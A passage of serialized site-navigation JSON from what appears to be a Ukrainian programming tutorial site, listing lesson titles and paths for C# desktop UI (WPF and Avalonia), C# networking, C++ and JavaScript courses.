в Avalonia: відмінності та нові можливості","\u002Fcsharp\u002Fdesktop-ui\u002F09a.layout-avalonia","01.csharp\u002F12.desktop-ui\u002F09a.layout-avalonia",{"title":1435,"path":1436,"stem":1437},"Button, Image, ProgressBar та інші базові контроли","\u002Fcsharp\u002Fdesktop-ui\u002Fbasic-controls","01.csharp\u002F12.desktop-ui\u002F10.basic-controls",{"title":1439,"path":1440,"stem":1441},"Контроли в Avalonia: відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F10a.controls-avalonia","01.csharp\u002F12.desktop-ui\u002F10a.controls-avalonia",{"title":1443,"path":1444,"stem":1445},"Текстові контроли — TextBlock, TextBox, RichTextBox","\u002Fcsharp\u002Fdesktop-ui\u002Ftext-controls","01.csharp\u002F12.desktop-ui\u002F11.text-controls",{"title":1447,"path":1448,"stem":1449},"Контроли вибору — CheckBox, RadioButton, ComboBox, ListBox, DatePicker","\u002Fcsharp\u002Fdesktop-ui\u002Fselection-controls","01.csharp\u002F12.desktop-ui\u002F12.selection-controls",{"title":1451,"path":1452,"stem":1453},"Content Model — GroupBox, Expander, TabControl, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fcontent-controls","01.csharp\u002F12.desktop-ui\u002F13.content-controls",{"title":1455,"path":1456,"stem":1457},"UI\u002FUX принципи десктопних застосунків","\u002Fcsharp\u002Fdesktop-ui\u002F13a.ui-ux-principles","01.csharp\u002F12.desktop-ui\u002F13a.ui-ux-principles",{"title":1459,"path":1460,"stem":1461},"Dependency Properties — Концепція та Value Resolution","\u002Fcsharp\u002Fdesktop-ui\u002Fdependency-properties-part1","01.csharp\u002F12.desktop-ui\u002F14.dependency-properties-part1",{"title":1463,"path":1464,"stem":1465},"Avalonia Property System — StyledProperty та DirectProperty","\u002Fcsharp\u002Fdesktop-ui\u002F14a.avalonia-property-system","01.csharp\u002F12.desktop-ui\u002F14a.avalonia-property-system",{"title":1467,"path":1468,"stem":1469},"Attached Properties — Властивості без меж","\u002Fcsharp\u002Fdesktop-ui\u002Fattached-properties","01.csharp\u002F12.desktop-ui\u002F15.attached-properties",{"title":1471,"path":1472,"stem":1473},"Routed Events — Маршрутизація подій у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Frouted-events","01.csharp\u002F12.desktop-ui\u002F16.routed-events",{"title":1475,"path":1476,"stem":1477},"Data Binding — Від Code-Behind до Декларативності","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part1","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part1",{"title":1479,"path":1480,"stem":1481},"INotifyPropertyChanged — Живе оновлення UI","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part2","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part2",{"title":1483,"path":1484,"stem":1485},"Compiled Bindings в Avalonia — Безпека на етапі компіляції","\u002Fcsharp\u002Fdesktop-ui\u002F17a.avalonia-compiled-bindings","01.csharp\u002F12.desktop-ui\u002F17a.avalonia-compiled-bindings",{"title":1487,"path":1488,"stem":1489},"Просунутий Data Binding — ElementName, RelativeSource, MultiBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-advanced","01.csharp\u002F12.desktop-ui\u002F18.data-binding-advanced",{"title":1491,"path":1492,"stem":1493},"Value Converters — Перетворення типів даних у Data Binding","\u002Fcsharp\u002Fdesktop-ui\u002Fvalue-converters","01.csharp\u002F12.desktop-ui\u002F19.value-converters",{"title":1495,"path":1496,"stem":1497},"Data Templates — Візуалізація об'єктів у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-templates","01.csharp\u002F12.desktop-ui\u002F20.data-templates",{"title":1499,"path":1500,"stem":1501},"Collections Binding Part 1 — ObservableCollection та ItemsControl","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part1","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part1",{"title":1503,"path":1504,"stem":1505},"Collections Binding Part 2 — ICollectionView, Filtering, Sorting та Virtualization","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part2","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part2",{"title":1507,"path":1508,"stem":1509},"MVVM Pattern — Від Spaghetti Code до архітектури","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-pattern","01.csharp\u002F12.desktop-ui\u002F22.mvvm-pattern",{"title":1511,"path":1512,"stem":1513},"ViewModel Implementation — Від BaseViewModel до валідації","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-implementation","01.csharp\u002F12.desktop-ui\u002F23.viewmodel-implementation",{"title":1515,"path":1516,"stem":1517},"Commands — Від event handlers до декларативних команд","\u002Fcsharp\u002Fdesktop-ui\u002Fcommands","01.csharp\u002F12.desktop-ui\u002F24.commands",{"title":1519,"path":1520,"stem":1521},"MVVM Toolkit — MVVM без boilerplate через Source Generators","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-toolkit","01.csharp\u002F12.desktop-ui\u002F25.mvvm-toolkit",{"title":1523,"path":1524,"stem":1525},"Messenger Pattern — Комунікація між ViewModel без прямих посилань","\u002Fcsharp\u002Fdesktop-ui\u002Fmessenger-pattern","01.csharp\u002F12.desktop-ui\u002F26.messenger-pattern",{"title":1527,"path":1528,"stem":1529},"Стилі WPF — CSS для десктопу","\u002Fcsharp\u002Fdesktop-ui\u002Fstyles-basics","01.csharp\u002F12.desktop-ui\u002F27.styles-basics",{"title":1531,"path":1532,"stem":1533},"CSS-like стилі Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F27a.avalonia-css-styling","01.csharp\u002F12.desktop-ui\u002F27a.avalonia-css-styling",{"title":1535,"path":1536,"stem":1537},"Control Templates — Частина 1. Концепція та TemplateBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part1","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part1",{"title":1539,"path":1540,"stem":1541},"Control Templates — Частина 2. Named Parts та ContentPresenter","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part2","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part2",{"title":1543,"path":1544,"stem":1545},"Control Themes в Avalonia — нова ера стилізації","\u002Fcsharp\u002Fdesktop-ui\u002F28a.avalonia-control-themes","01.csharp\u002F12.desktop-ui\u002F28a.avalonia-control-themes",{"title":1547,"path":1548,"stem":1549},"Triggers та Visual State Manager у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Ftriggers-visual-states","01.csharp\u002F12.desktop-ui\u002F29.triggers-visual-states",{"title":1551,"path":1552,"stem":1553},"Pseudo-classes в Avalonia — замість WPF Triggers","\u002Fcsharp\u002Fdesktop-ui\u002F29a.avalonia-pseudo-classes","01.csharp\u002F12.desktop-ui\u002F29a.avalonia-pseudo-classes",{"title":1555,"path":1556,"stem":1557},"Теми та ресурсні словники у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fresources-themes","01.csharp\u002F12.desktop-ui\u002F30.resources-themes",{"title":1559,"path":1560,"stem":1561},"Avalonia Themes — Fluent Design та система тематизації","\u002Fcsharp\u002Fdesktop-ui\u002F30a.avalonia-themes-fluent","01.csharp\u002F12.desktop-ui\u002F30a.avalonia-themes-fluent",{"title":1563,"path":1564,"stem":1565},"Контроли колекцій — глибоке занурення","\u002Fcsharp\u002Fdesktop-ui\u002Fcollection-controls","01.csharp\u002F12.desktop-ui\u002F31.collection-controls",{"title":1567,"path":1568,"stem":1569},"DataGrid — колонки та базове відображення","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part1","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part1",{"title":1571,"path":1572,"stem":1573},"DataGrid — сортування, фільтрація, редагування","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part2","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part2",{"title":1575,"path":1576,"stem":1577},"TreeView та GridView","\u002Fcsharp\u002Fdesktop-ui\u002Ftreeview-listview","01.csharp\u002F12.desktop-ui\u002F33.treeview-listview",{"title":1579,"path":1580,"stem":1581},"Меню, Toolbar, ContextMenu, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fmenus-toolbars","01.csharp\u002F12.desktop-ui\u002F34.menus-toolbars",{"title":1583,"path":1584,"stem":1585},"Навігація та керування вікнами. Частина 1: вікна та сторінки","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part1","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part1",{"title":1587,"path":1588,"stem":1589},"Навігація та керування вікнами. Частина 2: MVVM-навігація","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part2","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part2",{"title":1591,"path":1592,"stem":1593},"Avalonia — Навігація та діалоги","\u002Fcsharp\u002Fdesktop-ui\u002F35a.avalonia-navigation-dialogs","01.csharp\u002F12.desktop-ui\u002F35a.avalonia-navigation-dialogs",{"title":1595,"path":1596,"stem":1597},"Діалоги та File Pickers у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdialogs-file-pickers","01.csharp\u002F12.desktop-ui\u002F36.dialogs-file-pickers",{"title":1599,"path":1600,"stem":1601},"UserControl: компонентний підхід у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fuser-controls","01.csharp\u002F12.desktop-ui\u002F37.user-controls",{"title":1603,"path":1604,"stem":1605},"Custom Controls: Lookless Controls у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fcustom-controls","01.csharp\u002F12.desktop-ui\u002F38.custom-controls",{"title":1607,"path":1608,"stem":1609},"Avalonia TemplatedControl — Lookless Controls","\u002Fcsharp\u002Fdesktop-ui\u002F38a.avalonia-templated-controls","01.csharp\u002F12.desktop-ui\u002F38a.avalonia-templated-controls",{"title":1611,"path":1612,"stem":1613},"Анімації у WPF: Storyboard та Easing Functions","\u002Fcsharp\u002Fdesktop-ui\u002Fanimations-transitions","01.csharp\u002F12.desktop-ui\u002F39.animations-transitions",{"title":1615,"path":1616,"stem":1617},"Анімації в Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F39a.avalonia-animations","01.csharp\u002F12.desktop-ui\u002F39a.avalonia-animations",{"title":1619,"path":1620,"stem":1621},"2D Графіка та Мультимедіа у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fmedia-graphics","01.csharp\u002F12.desktop-ui\u002F40.media-graphics",{"title":1623,"path":1624,"stem":1625},"Dependency Injection у WPF та Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Fdi-integration","01.csharp\u002F12.desktop-ui\u002F41.di-integration",{"title":1627,"path":1628,"stem":1629},"SQLite та EF Core у десктопних додатках","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part1","01.csharp\u002F12.desktop-ui\u002F42.data-persistence-part1",{"title":1631,"path":1632,"stem":1633},"Repository Pattern та Unit of Work","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part2","01.csharp\u002F12.desktop-ui\u002F43.data-persistence-part2",{"title":1635,"path":1636,"stem":1637},"Тестування ViewModels","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-testing","01.csharp\u002F12.desktop-ui\u002F44.viewmodel-testing",{"title":1639,"path":1640,"stem":1641},"Avalonia Headless Testing — тестування UI без вікон","\u002Fcsharp\u002Fdesktop-ui\u002F44a.avalonia-headless-testing","01.csharp\u002F12.desktop-ui\u002F44a.avalonia-headless-testing",{"title":1643,"path":1644,"stem":1645},"Кросплатформна розробка з Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-cross-platform","01.csharp\u002F12.desktop-ui\u002F45.avalonia-cross-platform",{"title":1647,"path":1648,"stem":1649},"Пакування та розгортання Avalonia додатків","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F46.avalonia-packaging-deployment",{"title":1651,"path":1652,"stem":1653},"Розгортання WPF застосунків","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F47.wpf-packaging-deployment",{"title":1655,"icon":658,"path":1656,"stem":1657,"children":1658,"page":59},"Network Programming","\u002Fcsharp\u002Fnetwork-programming","01.csharp\u002F13.network-programming",[1659,1663,1667,1671,1675,1679,1683,1687,1691,1695,1699],{"title":1660,"path":1661,"stem":1662},"Основи комп'ютерних мереж","\u002Fcsharp\u002Fnetwork-programming\u002Ffoundations","01.csharp\u002F13.network-programming\u002F01.foundations",{"title":1664,"path":1665,"stem":1666},"Модель OSI та стек TCP\u002FIP","\u002Fcsharp\u002Fnetwork-programming\u002Fosi-model","01.csharp\u002F13.network-programming\u002F02.osi-model",{"title":1668,"path":1669,"stem":1670},"IP-протокол та адресація","\u002Fcsharp\u002Fnetwork-programming\u002Fip-addressing","01.csharp\u002F13.network-programming\u002F03.ip-addressing",{"title":1672,"path":1673,"stem":1674},"UDP — протокол без з'єднання","\u002Fcsharp\u002Fnetwork-programming\u002Fudp","01.csharp\u002F13.network-programming\u002F05.udp",{"title":1676,"path":1677,"stem":1678},"UDP Broadcast та Multicast","\u002Fcsharp\u002Fnetwork-programming\u002Fudp-broadcast-multicast","01.csharp\u002F13.network-programming\u002F06.udp-broadcast-multicast",{"title":1680,"path":1681,"stem":1682},"HTTP — протокол вебу","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-fundamentals","01.csharp\u002F13.network-programming\u002F07.http-fundamentals",{"title":1684,"path":1685,"stem":1686},"HttpListener — вбудований HTTP-сервер .NET","\u002Fcsharp\u002Fnetwork-programming\u002F07a.http-listener","01.csharp\u002F13.network-programming\u002F07a.http-listener",{"title":1688,"path":1689,"stem":1690},"HTTP Advanced — cookies, аутентифікація та HTTPS","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-advanced","01.csharp\u002F13.network-programming\u002F08.http-advanced",{"title":1692,"path":1693,"stem":1694},"SMTP та протоколи електронної пошти","\u002Fcsharp\u002Fnetwork-programming\u002Fsmtp","01.csharp\u002F13.network-programming\u002F09.smtp",{"title":1696,"path":1697,"stem":1698},"WebSocket — повнодуплексний протокол реального часу","\u002Fcsharp\u002Fnetwork-programming\u002Fwebsockets","01.csharp\u002F13.network-programming\u002F10.websockets",{"title":1700,"path":1701,"stem":1702},"TLS\u002FSSL — криптографічний захист мережевих з'єднань","\u002Fcsharp\u002Fnetwork-programming\u002Ftls-ssl","01.csharp\u002F13.network-programming\u002F11.tls-ssl",{"title":1704,"path":1705,"stem":1706},"C# & .NET: The Ultimate Roadmap","\u002Fcsharp\u002Froadmap","01.csharp\u002Froadmap",{"title":1708,"icon":1709,"path":1710,"stem":1711,"children":1712,"page":59},"C++","i-devicon-cplusplus","\u002Fcpp","02.cpp",[1713,1717,1721,1725,1729,1733,1737,1741,1745,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800,1804,1808,1812,1816,1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884,1888,1892,1896,1900,1904,1908,1912,1916,1920,1924,1928,1932,1936,1940,1944,1948,1952,1956,1960,1964,1968,1972,1976,1980,1984,1988,1992,1996,2000,2004,2008,2012,2016,2020,2024,2028,2032,2036],{"title":1714,"path":1715,"stem":1716},"Вступ у програмування та алгоритми","\u002Fcpp\u002Fintro-algorithms","02.cpp\u002F01.intro-algorithms",{"title":1718,"path":1719,"stem":1720},"Code Style: угоди про оформлення коду","\u002Fcpp\u002Fcode-style","02.cpp\u002F02.code-style",{"title":1722,"path":1723,"stem":1724},"Середовище розробки та перший проєкт","\u002Fcpp\u002Fide-setup","02.cpp\u002F03.ide-setup",{"title":1726,"path":1727,"stem":1728},"Вивід даних на екран","\u002Fcpp\u002Fdata-output","02.cpp\u002F04.data-output",{"title":1730,"path":1731,"stem":1732},"Типи даних, змінні та константи","\u002Fcpp\u002Fdata-types-variables","02.cpp\u002F05.data-types-variables",{"title":1734,"path":1735,"stem":1736},"Ввід даних з клавіатури","\u002Fcpp\u002Fdata-input","02.cpp\u002F06.data-input",{"title":1738,"path":1739,"stem":1740},"Оператори, перетворення типів та логічні операції","\u002Fcpp\u002Foperators-type-conversion","02.cpp\u002F07.operators-type-conversion",{"title":1742,"path":1743,"stem":1744},"Цикли","\u002Fcpp\u002Floops","02.cpp\u002F08.loops",{"title":32,"path":1746,"stem":1747},"\u002Fcpp\u002Farrays","02.cpp\u002F09.arrays",{"title":1749,"path":1750,"stem":1751},"Алгоритми сортування та аналіз складності","\u002Fcpp\u002Fsorting","02.cpp\u002F10.sorting",{"title":1753,"path":1754,"stem":1755},"Алгоритми пошуку","\u002Fcpp\u002Fsearching","02.cpp\u002F11.searching",{"title":1757,"path":1758,"stem":1759},"Функції: основи","\u002Fcpp\u002Ffunctions-basics","02.cpp\u002F12.functions-basics",{"title":1761,"path":1762,"stem":1763},"Функції: прототипи, область видимості та додаткові можливості","\u002Fcpp\u002Ffunctions-scope","02.cpp\u002F13.functions-scope",{"title":1765,"path":1766,"stem":1767},"Функції: перевантаження та шаблони","\u002Fcpp\u002Ffunctions-overloading-templates","02.cpp\u002F14.functions-overloading-templates",{"title":1769,"path":1770,"stem":1771},"Вказівники: основи","\u002Fcpp\u002Fpointers-basics","02.cpp\u002F15.pointers-basics",{"title":1773,"path":1774,"stem":1775},"Посилання (References)","\u002Fcpp\u002Freferences","02.cpp\u002F16.references",{"title":1777,"path":1778,"stem":1779},"Вказівники, const і масиви","\u002Fcpp\u002Fpointers-const-arrays","02.cpp\u002F17.pointers-const-arrays",{"title":1781,"path":1782,"stem":1783},"Адресна арифметика","\u002Fcpp\u002Fpointer-arithmetic","02.cpp\u002F18.pointer-arithmetic",{"title":1785,"path":1786,"stem":1787},"Динамічна пам'ять","\u002Fcpp\u002Fdynamic-memory","02.cpp\u002F19.dynamic-memory",{"title":1789,"path":1790,"stem":1791},"Вказівники типу void","\u002Fcpp\u002Fvoid-pointers","02.cpp\u002F20.void-pointers",{"title":1793,"path":1794,"stem":1795},"Вказівники на вказівники","\u002Fcpp\u002Fpointers-to-pointers","02.cpp\u002F21.pointers-to-pointers",{"title":1797,"path":1798,"stem":1799},"Оператор доступу до членів через вказівник (->)","\u002Fcpp\u002Fmember-access-operator","02.cpp\u002F22.member-access-operator",{"title":1801,"path":1802,"stem":1803},"Цикл for-each (Range-based for)","\u002Fcpp\u002Fforeach-loop","02.cpp\u002F23.foreach-loop",{"title":1805,"path":1806,"stem":1807},"Вказівники на функції","\u002Fcpp\u002Ffunction-pointers","02.cpp\u002F24.function-pointers",{"title":1809,"path":1810,"stem":1811},"Лямбда-вирази","\u002Fcpp\u002Flambdas","02.cpp\u002F25.lambdas",{"title":1813,"path":1814,"stem":1815},"Лямбда-захоплення","\u002Fcpp\u002Flambda-captures","02.cpp\u002F26.lambda-captures",{"title":1817,"path":1818,"stem":1819},"Еліпсис","\u002Fcpp\u002Fellipsis","02.cpp\u002F27.ellipsis",{"title":1821,"path":1822,"stem":1823},"Безпечні альтернативи еліпсису","\u002Fcpp\u002F27a.ellipsis","02.cpp\u002F27a.ellipsis",{"title":1825,"path":1826,"stem":1827},"Аргументи командного рядка","\u002Fcpp\u002Fcommand-line-arguments","02.cpp\u002F28.command-line-arguments",{"title":1829,"path":1830,"stem":1831},"Перерахування (enum)","\u002Fcpp\u002Fenum","02.cpp\u002F29.enum",{"title":1833,"path":1834,"stem":1835},"Класи-перерахування (enum class)","\u002Fcpp\u002Fenum-class","02.cpp\u002F30.enum-class",{"title":1837,"path":1838,"stem":1839},"Псевдоніми типів (typedef і using)","\u002Fcpp\u002Ftype-aliases","02.cpp\u002F31.type-aliases",{"title":1841,"path":1842,"stem":1843},"Системи числення та двійкова арифметика","\u002Fcpp\u002Fnumber-systems","02.cpp\u002F32.number-systems",{"title":1845,"path":1846,"stem":1847},"Структури (struct): агрегування даних","\u002Fcpp\u002Fstruct","02.cpp\u002F33.struct",{"title":1849,"path":1850,"stem":1851},"Структури у функціях","\u002Fcpp\u002Fstruct-functions","02.cpp\u002F34.struct-functions",{"title":1853,"path":1854,"stem":1855},"Масиви структур і вкладені структури","\u002Fcpp\u002Fstruct-arrays","02.cpp\u002F35.struct-arrays",{"title":1857,"path":1858,"stem":1859},"Патерни struct та межі застосування","\u002Fcpp\u002Fstruct-patterns","02.cpp\u002F36.struct-patterns",{"title":1861,"path":1862,"stem":1863},"Символи та таблиця ASCII","\u002Fcpp\u002Fascii-characters","02.cpp\u002F37.ascii-characters",{"title":1865,"path":1866,"stem":1867},"Unicode та кодування UTF","\u002Fcpp\u002Funicode-utf","02.cpp\u002F38.unicode-utf",{"title":1869,"path":1870,"stem":1871},"C-style рядки","\u002Fcpp\u002Fc-strings","02.cpp\u002F39.c-strings",{"title":1873,"path":1874,"stem":1875},"Вступ до std::string","\u002Fcpp\u002Fstd-string-intro","02.cpp\u002F40.std-string-intro",{"title":1877,"path":1878,"stem":1879},"Довжина, ємність та доступ до символів std::string","\u002Fcpp\u002Fstd-string-capacity-access","02.cpp\u002F41.std-string-capacity-access",{"title":1881,"path":1882,"stem":1883},"Модифікація std::string: присвоювання, додавання, вставка, видалення та заміна","\u002Fcpp\u002Fstd-string-modification","02.cpp\u002F42.std-string-modification",{"title":1885,"path":1886,"stem":1887},"Пошук у std::string: find, npos та практичні патерни","\u002Fcpp\u002Fstd-string-search","02.cpp\u002F43.std-string-search",{"title":1889,"path":1890,"stem":1891},"std::string_view: невласницький погляд на рядок без копіювання","\u002Fcpp\u002Fstd-string-view","02.cpp\u002F44.std-string-view",{"title":1893,"path":1894,"stem":1895},"Об'єднання (union): один блок пам'яті, кілька інтерпретацій","\u002Fcpp\u002Funion","02.cpp\u002F45.union",{"title":1897,"path":1898,"stem":1899},"Організація коду: файли, препроцесор, простори імен","\u002Fcpp\u002Fmultifile-programs","02.cpp\u002F46.multifile-programs",{"title":1901,"path":1902,"stem":1903},"Робота з файлами: C-стиль (stdio.h)","\u002Fcpp\u002Fc-style-files","02.cpp\u002F47.c-style-files",{"title":1905,"path":1906,"stem":1907},"Робота з файлами: C++-стиль (fstream)","\u002Fcpp\u002Fcpp-style-files","02.cpp\u002F48.cpp-style-files",{"title":1909,"path":1910,"stem":1911},"Введення в ООП: від процедур до об'єктів","\u002Fcpp\u002Foop-intro","02.cpp\u002F49.oop-intro",{"title":1913,"path":1914,"stem":1915},"Класи, об'єкти та методи","\u002Fcpp\u002Fclasses-objects-methods","02.cpp\u002F50.classes-objects-methods",{"title":1917,"path":1918,"stem":1919},"Специфікатори доступу та інкапсуляція","\u002Fcpp\u002Faccess-specifiers-encapsulation","02.cpp\u002F51.access-specifiers-encapsulation",{"title":1921,"path":1922,"stem":1923},"Конструктори: гарантована ініціалізація об'єктів","\u002Fcpp\u002Fconstructors","02.cpp\u002F52.constructors",{"title":1925,"path":1926,"stem":1927},"Списки ініціалізації та делегуючі конструктори","\u002Fcpp\u002Finit-lists-delegating","02.cpp\u002F53.init-lists-delegating",{"title":1929,"path":1930,"stem":1931},"Деструктори та ідіома RAII","\u002Fcpp\u002Fdestructors-raii","02.cpp\u002F54.destructors-raii",{"title":1933,"path":1934,"stem":1935},"Прихований покажчик this","\u002Fcpp\u002Fthis-pointer","02.cpp\u002F55.this-pointer",{"title":1937,"path":1938,"stem":1939},"Розподіл класу на заголовковий файл та файл реалізації","\u002Fcpp\u002Fclass-header-source","02.cpp\u002F56.class-header-source",{"title":1941,"path":1942,"stem":1943},"Класи та const","\u002Fcpp\u002Fconst-classes","02.cpp\u002F57.const-classes",{"title":1945,"path":1946,"stem":1947},"Статичні члени класу","\u002Fcpp\u002Fstatic-members","02.cpp\u002F58.static-members",{"title":1949,"path":1950,"stem":1951},"Конструктор копіювання та запобігання копіюванню","\u002Fcpp\u002Fcopy-constructor","02.cpp\u002F59.copy-constructor",{"title":1953,"path":1954,"stem":1955},"Дружні функції та класи","\u002Fcpp\u002Ffriend-functions-classes","02.cpp\u002F60.friend-functions-classes",{"title":1957,"path":1958,"stem":1959},"Анонімні об'єкти та вкладені типи","\u002Fcpp\u002Fanonymous-objects-nested-types","02.cpp\u002F61.anonymous-objects-nested-types",{"title":1961,"path":1962,"stem":1963},"Вимірювання часу виконання: RAII-таймер","\u002Fcpp\u002Ftiming-raii-timer","02.cpp\u002F62.timing-raii-timer",{"title":1965,"path":1966,"stem":1967},"Перевантаження операторів: основи та арифметика","\u002Fcpp\u002Foperator-overloading-basics","02.cpp\u002F63.operator-overloading-basics",{"title":1969,"path":1970,"stem":1971},"Перевантаження операторів: методи класу та спеціальні оператори","\u002Fcpp\u002Foperator-overloading-methods","02.cpp\u002F64.operator-overloading-methods",{"title":1973,"path":1974,"stem":1975},"Приведення типів, explicit та delete","\u002Fcpp\u002Ftypecast-explicit-delete","02.cpp\u002F65.typecast-explicit-delete",{"title":1977,"path":1978,"stem":1979},"Глибоке копіювання та оператор присвоювання","\u002Fcpp\u002Fdeep-copy-assignment","02.cpp\u002F66.deep-copy-assignment",{"title":1981,"path":1982,"stem":1983},"Зв'язки між об'єктами: композиція та агрегація","\u002Fcpp\u002Fcomposition-aggregation","02.cpp\u002F67.composition-aggregation",{"title":1985,"path":1986,"stem":1987},"Асоціація та залежність між об","\u002Fcpp\u002Fassociation-dependency","02.cpp\u002F68.association-dependency",{"title":1989,"path":1990,"stem":1991},"Контейнерні класи та `std::initializer_list`","\u002Fcpp\u002Fcontainer-classes-initializer-list","02.cpp\u002F69.container-classes-initializer-list",{"title":1993,"path":1994,"stem":1995},"Конструктори, деструктори та порядок ініціалізації в ієрархіях","\u002Fcpp\u002Finheritance-constructors-destructors","02.cpp\u002F71.inheritance-constructors-destructors",{"title":1997,"path":1998,"stem":1999},"Специфікатор `protected` та види наслідування","\u002Fcpp\u002Finheritance-access-specifiers","02.cpp\u002F72.inheritance-access-specifiers",{"title":2001,"path":2002,"stem":2003},"Перевизначення методів та приховування імен","\u002Fcpp\u002Fmethod-overriding-hiding","02.cpp\u002F73.method-overriding-hiding",{"title":2005,"path":2006,"stem":2007},"Множинне наслідування та проблема ромба","\u002Fcpp\u002Fmultiple-inheritance-diamond","02.cpp\u002F74.multiple-inheritance-diamond",{"title":2009,"path":2010,"stem":2011},"Вказівники на базовий клас та віртуальні функції","\u002Fcpp\u002Fvirtual-functions-polymorphism","02.cpp\u002F75.virtual-functions-polymorphism",{"title":2013,"path":2014,"stem":2015},"Специфікатори override, final та віртуальні деструктори","\u002Fcpp\u002Foverride-final-virtual-destructors","02.cpp\u002F76.override-final-virtual-destructors",{"title":2017,"path":2018,"stem":2019},"Внутрішні механізми поліморфізму: vtable, vptr та зв'язування","\u002Fcpp\u002Fvirtual-table-binding","02.cpp\u002F77.virtual-table-binding",{"title":2021,"path":2022,"stem":2023},"Абстрактні класи та чисті віртуальні функції","\u002Fcpp\u002Fabstract-classes-interfaces","02.cpp\u002F78.abstract-classes-interfaces",{"title":2025,"path":2026,"stem":2027},"Зрізка об'єктів, віртуальне наслідування та поліморфний вивід","\u002Fcpp\u002Fslicing-virtual-base-io","02.cpp\u002F79.slicing-virtual-base-io",{"title":2029,"path":2030,"stem":2031},"Динамічне приведення типів (`dynamic_cast`) та RTTI","\u002Fcpp\u002Fdynamic-cast-rtti","02.cpp\u002F80.dynamic-cast-rtti",{"title":2033,"path":2034,"stem":2035},"Шаблони функцій: узагальнене програмування","\u002Fcpp\u002Ffunction-templates","02.cpp\u002F81.function-templates",{"title":2037,"path":2038,"stem":2039},"Шаблони класів та NTTP-параметри","\u002Fcpp\u002Fclass-templates-nttp","02.cpp\u002F82.class-templates-nttp",{"title":2041,"icon":2042,"path":2043,"stem":2044,"children":2045,"page":59},"JavaScript","i-devicon-javascript","\u002Fjavascript","03.javascript",[2046,2072,2126,2148,2452,2490,2508],{"title":2047,"icon":2048,"path":2049,"stem":2050,"children":2051,"page":59},"Events","i-lucide-mouse-pointer-click","\u002Fjavascript\u002Fevents","03.javascript\u002F01.events",[2052,2056,2060,2064,2068],{"title":2053,"path":2054,"stem":2055},"Вступ до подій браузера","\u002Fjavascript\u002Fevents\u002Fintro","03.javascript\u002F01.events\u002F01.intro",{"title":2057,"path":2058,"stem":2059},"Бульбашковий механізм (Bubbling) та занурення (Capturing)","\u002Fjavascript\u002Fevents\u002Fbubbling-capturing","03.javascript\u002F01.events\u002F02.bubbling-capturing",{"title":2061,"path":2062,"stem":2063},"Делегування подій (Event Delegation)","\u002Fjavascript\u002Fevents\u002Fdelegate-events","03.javascript\u002F01.events\u002F03.delegate-events",{"title":2065,"path":2066,"stem":2067},"Типові дії браузера та preventDefault()","\u002Fjavascript\u002Fevents\u002Fprevent-default","03.javascript\u002F01.events\u002F04.prevent-default",{"title":2069,"path":2070,"stem":2071},"Запуск користувацьких подій (Custom Events)","\u002Fjavascript\u002Fevents\u002Fcustom-events","03.javascript\u002F01.events\u002F05.custom-events",{"title":2073,"icon":2074,"path":2075,"stem":2076,"children":2077,"page":59},"Network","i-lucide-globe","\u002Fjavascript\u002Fnetwork","03.javascript\u002F02.network",[2078,2082,2086,2090,2094,2098,2102,2106,2110,2114,2118,2122],{"title":2079,"path":2080,"stem":2081},"Fetch API - Сучасний підхід до HTTP-запитів","\u002Fjavascript\u002Fnetwork\u002F01-fetch-api","03.javascript\u002F02.network\u002F01-fetch-api",{"title":2083,"path":2084,"stem":2085},"FormData - Робота з формами та файлами","\u002Fjavascript\u002Fnetwork\u002F02-formdata","03.javascript\u002F02.network\u002F02-formdata",{"title":2087,"path":2088,"stem":2089},"Відстеження прогресу завантаження","\u002Fjavascript\u002Fnetwork\u002F03-download-progress","03.javascript\u002F02.network\u002F03-download-progress",{"title":2091,"path":2092,"stem":2093},"Переривання 